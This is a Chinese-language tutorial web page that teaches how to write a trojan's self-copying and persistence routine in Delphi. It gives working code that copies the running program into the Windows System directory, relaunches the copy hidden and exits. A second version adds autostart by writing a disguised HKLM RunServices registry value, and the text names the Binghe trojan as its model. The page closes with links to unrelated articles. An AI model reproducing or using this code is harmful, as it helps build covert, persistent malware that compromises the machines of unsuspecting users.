Delphi實現(xiàn)木馬自我拷貝方法
木馬實現(xiàn)自我拷貝的原理是程序運行時先查看自己是不是在特定目錄下,如果是就繼續(xù)運行,如果不是就把自己拷貝到特定目錄下,然后運行新程序,繼而退出舊程序.
本例即以Delphi實現(xiàn)木馬的自我拷貝。
首先打開Delphi,新建一個工程,在窗口的Create事件中寫入如下代碼:
procedure TForm1.FormCreate(Sender: TObject); var myname: string; begin myname := ExtractFilename(Application.Exename); //獲得文件名 if application.Exename <> GetWindir + myname then //如果文件不是在WindowsSystem那么.. begin copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{將自己拷貝到WindowsSystem下} Winexec(pchar(GetWindir + myname), sw_hide);//運行WindowsSystem下的新文件 application.Terminate;//退出 end; end;
其中GetWinDir是自定義函數(shù),起功能是找出WindowsSystem的路徑.
function GetWinDir: String; var Buf: array[0..MAX_PATH] of char; begin GetSystemDirectory(Buf, MAX_PATH); Result := Buf; if Result[Length(Result)]<>'' then Result := Result + ''; end;
如何能使程序能在windows啟動時自動啟動?
為了程序能在Windows每次啟動時自動運行,可以通過以下途徑來實現(xiàn).“冰河”用注冊表的方式。
加入Registry單元,改寫上面的窗口Create事件,改寫后的程序如下:
procedure TForm1.FormCreate(Sender: TObject); const K = 'SoftwareMicrosoftWindowsCurrentVersionRunServices'; var myname: string; begin myname := ExtractFilename(Application.Exename); //獲得文件名 if application.Exename <> GetWindir + myname then //如果文件不是在WindowsSystem那么.. begin copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{//將自己拷貝到Windows/System32下} Winexec(pchar(GetWindir + myname), sw_hide);//運行WindowsSystem下的新文件 application.Terminate;//退出 end; with TRegistry.Create do try RootKey := HKEY_LOCAL_MACHINE; OpenKey( K, TRUE ); WriteString( 'syspler', application.ExeName ); finally free; end; end;
相關(guān)文章
解決delphi TAdoQuery組件的close方法導(dǎo)致”列名無效“錯誤的問題
今天小編就為大家分享一篇解決delphi TAdoQuery組件的close方法導(dǎo)致”列名無效“錯誤的問題,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧2020-02-02Delphi 在窗體上創(chuàng)建自己光標(biāo)的實例
這篇文章主要介紹了Delphi 在窗體上創(chuàng)建自己光標(biāo)的實例的相關(guān)資料,希望通過本文能幫助到大家,需要的朋友可以參考下2017-09-09Delphi2007編譯的程序在Win7下圖標(biāo)模糊的解決辦法
這篇文章主要介紹了Delphi2007編譯的程序在Win7下圖標(biāo)模糊的解決辦法,需要的朋友可以參考下2014-08-08wordpress主題支持自定義菜單及修改css樣式實現(xiàn)方法
使用wordpress過程中會遇到主題支持自定義菜單以及修改css樣式問題,本文將介紹詳細(xì)解決方法,需要朋友可以參考下2012-12-12